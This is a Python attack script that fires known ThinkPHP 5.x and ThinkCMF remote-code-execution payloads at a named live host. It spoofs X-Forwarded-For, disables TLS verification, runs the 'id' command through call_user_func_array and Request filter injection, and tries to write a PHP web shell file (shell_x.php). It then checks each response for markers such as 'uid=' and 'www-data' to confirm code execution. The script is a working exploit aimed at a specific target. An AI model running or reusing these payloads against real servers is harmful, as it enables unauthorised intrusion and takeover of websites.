import urllib.request, urllib.parse, ssl, sys, re

XFF = "54.255.42.219"
B = "http://phadmin.msjshy.com"
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE

def get(path):
    req = urllib.request.Request(B+path, headers={"X-Forwarded-For": XFF, "User-Agent":"Mozilla/5.0"})
    try:
        r = urllib.request.urlopen(req, timeout=15, context=ctx)
        body = r.read()
        return r.status, body
    except urllib.error.HTTPError as e:
        return e.code, e.read()
    except Exception as e:
        return -1, str(e).encode()

payloads = [
    ("TP5.0 invokefunction phpinfo", "/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"),
    ("TP5.0 invokefunction system id", "/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"),
    ("TP5.0 Container invokefunction", "/index.php?s=/index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"),
    ("TP5.1 Request/input filter", "/index.php?s=/index/%5Cthink%5CRequest/input&filter[]=system&data=id"),
    ("TP5.1 template write", "/index.php?s=/index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write&cacheFile=shell_x.php&content=%3C%3Fphp%20phpinfo();%3F%3E"),
    ("TP5.0.x SQLi ids", "/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"),
    ("ThinkCMF fetch template RCE", "/index.php?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Ephpinfo();%3C/php%3E"),
    ("ThinkCMF fetch 2", "/index.php?a=fetch&content=%3Cphp%3Ephpinfo();%3C/php%3E"),
    ("route ?s=index", "/index.php?s=index/index/index"),
]

for desc, p in payloads:
    st, body = get(p)
    txt = body.decode('utf-8','ignore')
    hits = []
    for kw in ["phpinfo","PHP Version","uid=","www-data","root:","_SERVER[","<title>","ThinkPHP","ThinkCMF","404","error","Exception","登录","doLogin"]:
        if kw in txt: hits.append(kw)
    print(f"[{st} len={len(body)}] {desc}")
    print(f"    hits={hits}")
    print(f"    head={txt[:120].strip()!r}")
    print()
